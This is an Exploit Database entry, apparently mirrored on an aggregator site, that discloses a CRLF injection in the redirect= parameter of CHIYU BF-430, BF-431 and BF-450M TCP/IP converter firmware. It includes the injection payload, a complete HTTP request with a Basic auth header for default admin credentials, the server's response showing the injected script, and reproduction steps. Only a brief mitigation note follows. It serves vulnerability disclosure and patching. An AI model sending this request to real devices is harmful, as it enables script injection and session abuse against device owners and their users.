CHIYU TCP/IP Converter devices – CRLF injection

• Exploit Database
• 14 阅读

• 作者： sirpedrotavares
  日期： 2021-06-01
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/49923/

• # Exploit Title: CHIYU TCP/IP Converter devices - CRLF injection
  # Date: May 31 2021
  # Exploit Author: sirpedrotavares
  # Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
  # Software Link: https://www.chiyu-tech.com/category-hardware.html
  # Version:BF-430, BF-431, and BF-450M TCP/IP Converter devices - all firmware versions < June 2021
  # Tested on:BF-430, BF-431, and BF-450M
  # Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks
  
  Description: A CRLF injection vulnerability was found on BF-430, BF-431, and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of validation on the parameter redirect= available on multiple CGI components.
  CVSS: Medium – CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
  URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31249
  
  Affected parameter: redirect=Component: all the CGI components
  Payload: %0d%0a%0d%0a<script>alert(document.domain)</script>
  
  ====HTTP request======
  GET
  /man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY
  HTTP/1.1
  Host: 192.168.187.12
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
  Firefox/68.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: http://192.168.187.12/manage.htm
  Authorization: Basic OmFkbWlu
  Connection: close
  Upgrade-Insecure-Requests: 1
  
  ======HTTP response========
  HTTP/1.1 302 Found
  Location: setting.htm
  <script>alert(document.domain)</script>
  Content-Length: 0
  Content-Type: text/html
  
  
  Steps to reproduce:
  1. Navigate to the vulnerable device
  2. Make a GET request to all CGI components
  3. Append the payload at the end of the vulnerable parameter (redirect )
  4. Submit the request and observe payload execution
  
  
   Mitigation: The latest version of the CHIYU firmware should be installed
  to mitigate this vulnerability.